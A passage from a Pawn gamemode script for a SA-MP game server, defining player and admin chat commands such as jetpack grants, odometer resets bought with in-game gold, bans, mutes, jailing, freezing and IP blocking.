					new stramir[512];
					GetPlayerName(playa, giveplayer, sizeof(giveplayer));
					format(stramir, 512, "[Admin-Warn]: {FFFFFF}Admin %s given jetpack to %s", PINFO[playerid][pName], giveplayer);
					ABroadCast(COLOR_AdminWarn,stramir,1);
					SendMessage(playa, COLOR_YELLOW2, "Jetpack is ready to use.");
					JetAllow[playa] = 1;
					SetPlayerSpecialAction(playa, 2);
					return 1;
				}
				else return SCM(playerid, COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
			}
		}
		if (strcmp(cmd, "/surf", true) == 0)
		{
				if(PlayerInfo[playerid][pAdmin] < 6 && PlayerInfo[playerid][pSponser] == 0) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Surf <Playerid/PartOfName>");
					return 1;
				}
						new playa;
						playa = ReturnUser6(tmp);
						if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
						
//						new sender[40];
						new givep[40];
						GetPlayerName(playerid, sender, sizeof(sender));
						GetPlayerName(playa, givep, sizeof(givep));
						if(Surfing[playa] == 0)
						{
						Surfing[playa] = 1;
						new str[512];
						format(str, sizeof(str), "{FFFFFF}Admin %s has disabled anti surfing for %s",sender,givep);
						AdminWarn(str);
					new strmstr[256];
					format(strmstr,256,"Surf:{00FF00} Enabled.");
					 SendClientMessage(playa, COLOR_SINA2, strmstr);
					 return 1;
					 }
					 	else if(Surfing[playa] == 1)
						{
						Surfing[playa] = 0;
						new str[512];
						format(str, sizeof(str), "{FFFFFF}Admin %s has enabled anti surfing for %s",sender,givep);
						AdminWarn(str);
					new strmstr[256];
					format(strmstr,256,"Surf:{FF0000} Disabled.");
					 SendClientMessage(playa, COLOR_SINA2, strmstr);
					 return 1;
					 }


					return 1;
		}
		 if(strcmp(cmd, "/removejetpackto", true) == 0 || strcmp(cmd, "/rjt", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /RemoveJetPackTo <Playerid/PartOfName>");
					return 1;
				}
				new playa;
				playa = ReturnUser6(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 1)
				{
					new stramir[512];
					GetPlayerName(playa, giveplayer, sizeof(giveplayer));
					format(stramir, 512, "[Admin-Warn]: {ffffff}Admin %s was removed %s's jetpack", PINFO[playerid][pName], giveplayer);
					ABroadCast(COLOR_AdminWarn,stramir,1);
					SendMessage(playa, COLOR_YELLOW2, "Jetpack was removed from you.");
					SetPlayerSpecialAction(playa,SPECIAL_ACTION_NONE);
					JetAllow[playa] = 0;
					return 1;
				}
				else return SCM(playerid, COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
			}
		}
		/*
	   if(!strcmp(cmd, "/BuyHoster", true))
	   {

	   new hostershop[1024];
	   format(hostershop,sizeof(hostershop),"{00FF00}Hoster Lvl 1 - 90000 Gold \t\n{FF6347}Hoster Lvl 3 - 105000 Gold \t\n{FF0000}Hoster Lvl 6 - 125000 Gold");
	   new hostershoptitle[256];
	   format(hostershoptitle, sizeof(hostershoptitle), "Hoster Shop - Golds: %d", PINFO[playerid][pGold]);
	   ShowPlayerDialog(playerid,11,DIALOG_STYLE_LIST,hostershoptitle,hostershop,"Select","Close");
	 return 1;
	}
	*/
	/*-------------------------------------------------------------------------------*/
//RESETKM
if(!strcmp(cmd,"/resetkm",true))
		{
	   if(PINFO[playerid][pGold] < 350) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough gold.")
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);

			if(PINFO[playerid][pVeh1] == 0 && PINFO[playerid][pVeh2] == 0 && PINFO[playerid][pVeh3] == 0 && PINFO[playerid][pVeh4] == 0 && PINFO[playerid][pVeh5] == 0 && PINFO[playerid][pVeh6] == 0) return SCM(playerid,COL_SYN,"You haven't a personal car.");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /resetkm <CarID(1-2)>");
			new CarrID = strval(tmp);
			if(CarrID != 1 && CarrID != 2  && CarrID != 3 && CarrID != 4 && CarrID != 5 && CarrID != 6) return SCM(playerid,COL_SYN,"Invalid CarID.");
			if(CarrID == 1 && PINFO[playerid][pCar_1] == 0) return SCM(playerid,COLOR_SINA85,"Invalid CarID");
			if(CarrID == 2 && PINFO[playerid][pCar_2] == 0) return SCM(playerid,COLOR_SINA85,"Invalid CarID");
			if(CarrID == 3 && PINFO[playerid][pCar_3] == 0) return SCM(playerid,COLOR_SINA85,"Invalid CarID");
			if(CarrID == 4 && PINFO[playerid][pCar_4] == 0) return SCM(playerid,COLOR_SINA85,"Invalid CarID");
			if(CarrID == 5 && PINFO[playerid][pCar_5] == 0) return SCM(playerid,COLOR_SINA85,"Invalid CarID");
			if(CarrID == 6 && PINFO[playerid][pCar_6] == 0) return SCM(playerid,COLOR_SINA85,"Invalid CarID");

			new v1 = PINFO[playerid][pVeh1];
			new v2 = PINFO[playerid][pVeh2];
			new v3 = PINFO[playerid][pVeh3];
			new v4 = PINFO[playerid][pVeh4];
			new v5 = PINFO[playerid][pVeh5];
			new v6 = PINFO[playerid][pVeh6];
			if(CarrID == 1)
			{
				//if(vInfo[v1][cInsurance] >= 5) return SCM(playerid,COLOR_SINA85,"You cant buy more than 5 insurances");
				vInfo[v1][cKilo] = 0;
				SaveKonFloatV(v1, "cKilo", vInfo[v1][cKilo]);
				SCM(playerid, COLOR_SINA2, "Shop:{FF0000} Your vehicle odometer reseted.");
				PINFO[playerid][pGold] -= 350;
				SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
				return 1;
			}
		   else if(CarrID == 2)
			{
				//if(vInfo[v2][cInsurance] >= 5) return SCM(playerid,COLOR_SINA85,"You cant buy more than 5 insurances");
				vInfo[v2][cKilo] = 0;
				SaveKonFloatV(v2, "cKilo", vInfo[v2][cKilo]);
				SCM(playerid, COLOR_SINA2, "Shop:{FF0000} Your vehicle odometer reseted.");
				PINFO[playerid][pGold] -= 350;
				SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
				return 1;
			}
			 else if(CarrID == 3)
			{
				//if(vInfo[v3][cInsurance] >= 5) return SCM(playerid,COLOR_SINA85,"You cant buy more than 5 insurances");
				vInfo[v3][cKilo] = 0;
				SaveKonFloatV(v3, "cKilo", vInfo[v3][cKilo]);
				SCM(playerid, COLOR_SINA2, "Shop:{FF0000} Your vehicle odometer reseted.");
				PINFO[playerid][pGold] -= 350;
				SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
				return 1;
			}
			 else if(CarrID == 4)
			{
				//if(vInfo[v4][cInsurance] >= 5) return SCM(playerid,COLOR_SINA85,"You cant buy more than 5 insurances");
				vInfo[v4][cKilo] = 0;
				SaveKonFloatV(v4, "cKilo", vInfo[v4][cKilo]);
				SCM(playerid, COLOR_SINA2, "Shop:{FF0000} Your vehicle odometer reseted.");
				PINFO[playerid][pGold] -= 350;
				SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
				return 1;
			}
			 else if(CarrID == 5)
			{
				//if(vInfo[v5][cInsurance] >= 5) return SCM(playerid,COLOR_SINA85,"You cant buy more than 5 insurances");
				vInfo[v5][cKilo] = 0;
				SaveKonFloatV(v5, "cKilo", vInfo[v5][cKilo]);
				SCM(playerid, COLOR_SINA2, "Shop:{FF0000} Your vehicle odometer reseted.");
				PINFO[playerid][pGold] -= 350;
				SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
				return 1;
			}
			 else if(CarrID == 6)
			{
				/*if(vInfo[v6][cInsurance] >= 5) return SCM(playerid,COLOR_SINA85,"You cant buy more than 5 insurances");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /buyinsurance <CarID(1-2-3-4-5-6)> <Amount>");*/

				vInfo[v6][cKilo] = 0;
				SaveKonFloatV(v6, "cKilo", vInfo[v6][cKilo]);
				SCM(playerid, COLOR_SINA2, "Shop:{FF0000} Your vehicle odometer reseted.");
				PINFO[playerid][pGold] -= 350;
				SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
				return 1;
			}
		}
//resetkm

	/*----------------------------------------------------------------------------*/
	// This Command Disabled by Sina
/*	if(strcmp(cmd, "/CoverMe", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COLOR_SINA3, "Syntax: /CoverMe 1");
					return 1;
				}
				new level;
				level = strval(tmp);
				if(level > 50 || level < 1) { SendMessage(playerid, COLOR_GREY, "Ya ID Skin Shoma Eshtebah Ast Ya Bishtar Az 50 Ast"); return 1; }

				if(PINFO[playerid][pGold] < 2000)return SCM(playerid,COLOR_Good,"MDN-LF: Skin Jadid Mobarak.");
				if(PINFO[playerid][pGold] > 1999)
					if(IsPlayerConnected(playerid))
					{

							if(PINFO[playerid][pSoldier] != 0) return SCM(playerid, COLOR_GRAD2, "That player is a soldier.");
							if(IsInFaction(playerid)) { PlayerInfo[playerid][fSkin] = level; SaveKonVal(playerid, "fSkin", level); }
							else { PlayerInfo[playerid][cSkin] = level; SaveKonVal(playerid, "cSkin", level); }
							PINFO[playerid][pGold] -= 2000;
						SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
							if(IsInFaction(playerid)) { SetPlayerSkin(playerid, PlayerInfo[playerid][fSkin]);}
							else { SetPlayerSkin(playerid, PINFO[playerid][cSkin]); }
							 PlayerTextDrawSetPreviewModel(playerid, SkinPreview[playerid], level);
				PlayerTextDrawShow(playerid, SkinPreview[playerid]);
					}//not connected

			}
			return 1;
		} */




	/*-----------------------------------------------------------------------------*/
		if(strcmp(cmd, "/ban", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] <= 0) return SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(PINFO[playerid][pAdmin] == 7 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
			if(PINFO[playerid][pAdmin] == 8 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
			if(PINFO[playerid][pAdmin] == 9 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
			new Fullname[256];
			Fullname = strtok(cmdtext,idx);
			if(!strlen(Fullname)) return SCM(playerid,COL_SYN,"Syntax: /ban <FullName> <Days> <UseIP> <Reason>");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /ban <FullName> <Days> <UseIP> <Reason>");
			new days = strval(tmp);
			if(days < 0 || days > 100) return SCM(playerid,COLOR_SINA3,"Type a day between 1 and 100.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /ban <FullName> <Days> <UseIP> <Reason>");
			new UseIP = strval(tmp);
			if(UseIP != 1 && UseIP != 0) return SCM(playerid, COLOR_SINA3, "UseIP must be 0 or 1");
			tmp = strtokEx(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /ban <FullName> <Days> <UseIP> <Reason>");
			GetPlayerName(playerid, sendername, sizeof(sendername));
			BanPlayer(playerid, Fullname, days, tmp, UseIP, 0);
			return 1;
		}
		
		
		if(strcmp(cmd, "/susban", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] < 6) return SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command.");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(PlayerInfo[playerid][pAdmin] == 7) return SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command.");
			if(PlayerInfo[playerid][pAdmin] == 8) return SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command.");
			if(PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command.");
			new Fullname[256];
			Fullname = strtok(cmdtext,idx);
			if(!strlen(Fullname)) return SCM(playerid,COL_SYN,"Syntax: /susban <FullName> <Reason>");
			tmp = strtokEx(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /susban <FullName> <Reason>");
			GetPlayerName(playerid, sendername, sizeof(sendername));
			Taligh(playerid, Fullname, tmp);
			return 1;
		}
		
		
		
		
		if(strcmp(cmd, "/banid", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] <= 0) return SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(PINFO[playerid][pAdmin] == 7 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
			if(PINFO[playerid][pAdmin] == 8 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
			if(PINFO[playerid][pAdmin] == 9 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /banid <Playerid/PartOfName> <Days> <UseIP> <Reason>");
			new taraf = ReturnUser6(tmp);
			if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_SINA3,"Player is not connected.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /banid <Playerid/PartOfName> <Days> <UseIP> <Reason>");
			new days = strval(tmp);
			if(days < 0 || days > 100) return SCM(playerid,COLOR_SINA3,"Type a day between 1 and 100.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /ban <Playerid/PartOfName> <Days> <UseIP> <Reason>");
			new UseIP = strval(tmp);
			if(UseIP != 1 && UseIP != 0) return SCM(playerid, COLOR_SINA3, "UseIP must be 0 or 1");
			tmp = strtokEx(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /ban <Playerid/PartOfName> <Days> <UseIP> <Reason>");

			GetPlayerName(playerid, sendername, sizeof(sendername));
			new Fullname[40];
			GetPlayerName(taraf, Fullname, sizeof(Fullname));
			BanPlayer(playerid, Fullname, days, tmp, UseIP, 0);
			return 1;
		}
		if(!strcmp(cmd,"/ajail",true))
		{
			if(PlayerInfo[playerid][pAdmin] <= 0) return SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			new Fullname[256];
			Fullname = strtok(cmdtext,idx);
			if(!strlen(Fullname)) return SCM(playerid,COL_SYN,"Syntax: /Ajail <FullName> <Time[Seconds]> <Reason>");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /Ajail <FullName> <Time[Minutes]> <Reason>");
			new days = strval(tmp);
			new length = strlen(cmdtext);
			while ((idx < length) && (cmdtext[idx] <= ' '))
			{
				idx++;
			}
			new offset = idx;
			new result[64];
			while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
			{
				result[idx - offset] = cmdtext[idx];
				idx++;
			}
			result[idx - offset] = EOS;
			if(!strlen(result))
			{
				SendMessage(playerid, COLOR_GRAD2, "Syntax: /Ajail <FullName> <Time[Seconds]> <Reason>");
				return 1;
			}
			JailPlayer(playerid, Fullname, days, (result));

			return 1;
		}
		if(strcmp(cmd, "/mute", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] <= 0) return SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			new Fullname[256];
			Fullname = strtok(cmdtext,idx);
			if(!strlen(Fullname)) return SCM(playerid,COL_SYN,"Syntax: /Mute <FullName> <Time[Minutes]> <Reason>");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /Mute <FullName> <Time[Minutes]> <Reason>");
			new days = strval(tmp);
			new length = strlen(cmdtext);
			while ((idx < length) && (cmdtext[idx] <= ' '))
			{
				idx++;
			}
			new offset = idx;
			new result[64];
			while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
			{
				result[idx - offset] = cmdtext[idx];
				idx++;
			}
			result[idx - offset] = EOS;
			if(!strlen(result))
			{
				SendMessage(playerid, COL_SYN,"Syntax: /Mute <FullName> <Time[Minutes]> <Reason>");
				return 1;
			}
			MutePlayer(playerid, Fullname, days, (result));
			return 1;
		}
		if(strcmp(cmd, "/sban", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] <= 0) return SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(PINFO[playerid][pAdmin] == 7 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
			if(PINFO[playerid][pAdmin] == 8 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
			if(PINFO[playerid][pAdmin] == 9 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
			new Fullname[256];
			Fullname = strtok(cmdtext,idx);
			if(!strlen(Fullname)) return SCM(playerid,COL_SYN,"Syntax: /sban <FullName> <Days> <UseIP> <Reason>");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /sban <FullName> <Days> <UseIP> <Reason>");
			new days = strval(tmp);
			if(days < 0 || days > 100) return SCM(playerid,COLOR_SINA3,"Type a day between 1 and 100.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /sban <FullName> <Days> <UseIP> <Reason>");
			new UseIP = strval(tmp);
			if(UseIP != 1 && UseIP != 0) return SCM(playerid, COLOR_SINA3, "UseIP must be 0 or 1");
			tmp = strtokEx(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /sban <FullName> <Days> <UseIP> <Reason>");
			GetPlayerName(playerid, sendername, sizeof(sendername));

			BanPlayer2(playerid, Fullname, days, tmp, UseIP);
			return 1;
		}

		if(strcmp(cmd, "/ipsban", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Ipsban <Playerid/PartOfName>");
					return 1;
				}
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				new playa;
				playa = ReturnUser6(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 1)
				{
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
					   if(PINFO[playerid][pAdmin] < 12 && PINFO[playa][pAdmin] >= 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for admins.");
							if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							if(playa == playerid) return SCM(playerid, COLOR_SINA3, "Error: You can't ban yourself.");
					   new strmstr[144];
					   format(strmstr,144,"You have been IPSBanned by %s", PINFO[playerid][pName]);
					   SendClientMessage(playa, COLOR_LIGHTRED, strmstr);
							Ban(playa);
//							new string[512];
							format(string, sizeof(string), "[Admin-Warn]: {FFFFFF}%s has been ipsbanned by admin %s.",giveplayer, sendername);
							ABroadCast(COLOR_AdminWarn,string,1);
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
	if(strcmp(cmd, "/blockip", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Blockip <Playerid/PartOfName>");
					return 1;
				}
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				new playa;
				playa = ReturnUser6(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 11)
				{
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
							if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_SINA3, "you cannot block an admin higher than you.");
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							new ip[40];
							GetPlayerIp(playa, ip, sizeof(ip));
							if(playa == playerid) return SCM(playerid, COLOR_SINA3, "You Cannot Ban Yourself");
							BlockIpAddress(ip, 0);
//							new string[512];
							format(string, sizeof(string), "[Admin-Warn]: {FFFFFF}Admin %s was blocked %s's ip.",sendername, giveplayer);
							ABroadCast(COLOR_AdminWarn,string,1);
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}

		if(strcmp(cmd, "/unblockip", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 11) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
		new result[145];
		result = strtokEx(cmdtext, idx);
		if(!strlen(result))
		{
			SendMessage(playerid, COL_SYN, "Syntax: /unblockip <IP>");
			return 1;
		}
//		new string[512];
		format(string, sizeof(string), "[Admin-Warn]: {FFFFFF}Admin %s was unblocked ip %s.",PINFO[playerid][pName], result);
		ABroadCast(COLOR_AdminWarn,string,1);
		UnBlockIpAddress(result);
		return 1;
		}
	//---------------------------------[Freeze]------------------------------------------------
		if(strcmp(cmd, "/freeze", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Freeze <Playerid/PartOfName>");
					return 1;
				}
				new playa;
				playa = ReturnUser6(tmp);
				if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				//if(PlayerInfo[playa][pAdmin] > 0)
				//{
				//  SendMessage(playerid, COLOR_GRAD2, "Admins can not be frozen");
				//  return 1;
				//}
				if (PlayerInfo[playerid][pAdmin] >= 2 || PINFO[playerid][pSponser] == 1)
				{
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
					   format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has frozen %s.", sendername,giveplayer);
						   ABroadCast(COLOR_AdminWarn,string,1);
					   format(string, 256, "Admin %s has frozen you.", sendername,giveplayer);
						   SendClientMessage(playa, COLOR_SINARANG, string);
							TogglePlayerControllable(playa, 0);
				OnFreeze[playa] = 1;
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		/*
		if(strcmp(cmd, "/efreeze", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /EFreeze <Playerid/PartOfName>");
					return 1;
				}
				new playa;
				playa = ReturnUser6(tmp);
				//if(PlayerInfo[playa][pAdmin] > 0)
				//{
				//  SendMessage(playerid, COLOR_GRAD2, "Admins can not be frozen");
				//  return 1;
				//}
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
					if(EventPlayer[playa] == 0)
					   {
					   SCM(playerid, COLOR_YELLOW2, "Error: You couldn't freeze this player.");
					return 1;
					  }
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
					   format(string, 256, "[Admin-Warn]: {FFFFFF}Event-Organizer %s has been frozen %s.", sendername,giveplayer);
						   ABroadCast(COLOR_AdminWarn,string,1);
					   format(string, 256, "Event organizer %s has been frozen you.", sendername,giveplayer);
						   SendClientMessage(playa, COLOR_SINARANG, string);
					   format(string, 256, "{FFFFFF}You have frozen %s", giveplayer);
						   SendClientMessage(playerid, COLOR_SINA2, string);
							TogglePlayerControllable(playa, 0);
				OnFreeze[playa] = 1;
						}
					}
				}
			}
			return 1;
		}*/
	//----------------------------------[unfreeze]------------------------------------------------
		if(strcmp(cmd, "/unfreeze", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Unfreeze <Playerid/PartOfName>");
					return 1;
				}
				new playa;
				playa = ReturnUser6(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 1 || PINFO[playerid][pSponser] == 1)
				{
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
						if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
						if(InSleep[playa] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't unfreeze a player who is asleep.");
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
					   format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has unfrozen %s.", sendername,giveplayer);
						   ABroadCast(COLOR_AdminWarn,string,1);
					   format(string, 256, "Admin %s has unfrozen you.", sendername,giveplayer);
						   SendClientMessage(playa, COLOR_SINARANG, string);
							TogglePlayerControllable(playa, 1);
				OnFreeze[playa] = 0;
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		/*
		if(strcmp(cmd, "/eunfreeze", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /EUnfreeze <Playerid/PartOfName>");
					return 1;
				}
				new playa;
				playa = ReturnUser6(tmp);
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
					if(EventPlayer[playa] == 0)
					   {
					   SCM(playerid, COLOR_YELLOW2, "Error: You couldn't unfreeze this player.");
					return 1;
					  }
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
					   format(string, 256, "[Admin-Warn]: {FFFFFF}Event-Organizer %s has been unfrozen %s.", sendername,giveplayer);
						   ABroadCast(COLOR_AdminWarn,string,1);
					   format(string, 256, "Event organizer %s has been unfrozen you.", sendername,giveplayer);
						   SendClientMessage(playa, COLOR_SINARANG, string);
					   format(string, 256, "{FFFFFF}You have unfrozen %s", giveplayer);
						   SendClientMessage(playerid, COLOR_SINA2, string);
							TogglePlayerControllable(playa, 1);
				OnFreeze[playa] = 0;
						}
					}
				}
			}
			return 1;
		}*/
		/*
		if (strcmp(cmd, "/Premiums", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new count = 0;
				SendMessage(playerid, CRISTIAN, "{07ba0a}|____ Premiums online: ____|");
				for(new i = 0; i < Akharish; i++)
				{
					if(IsPlayerConnected(i))
					{
				new afk[40];
				if(AFK[i] == 1 || AFKTime[i] > 70) {afk = "(AFK)";}
				if(AFK[playerid] == 0 && AFKTime[i] < 70) {afk = " ";}
						if(PlayerInfo[i][pPremiumAccount] == 1)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
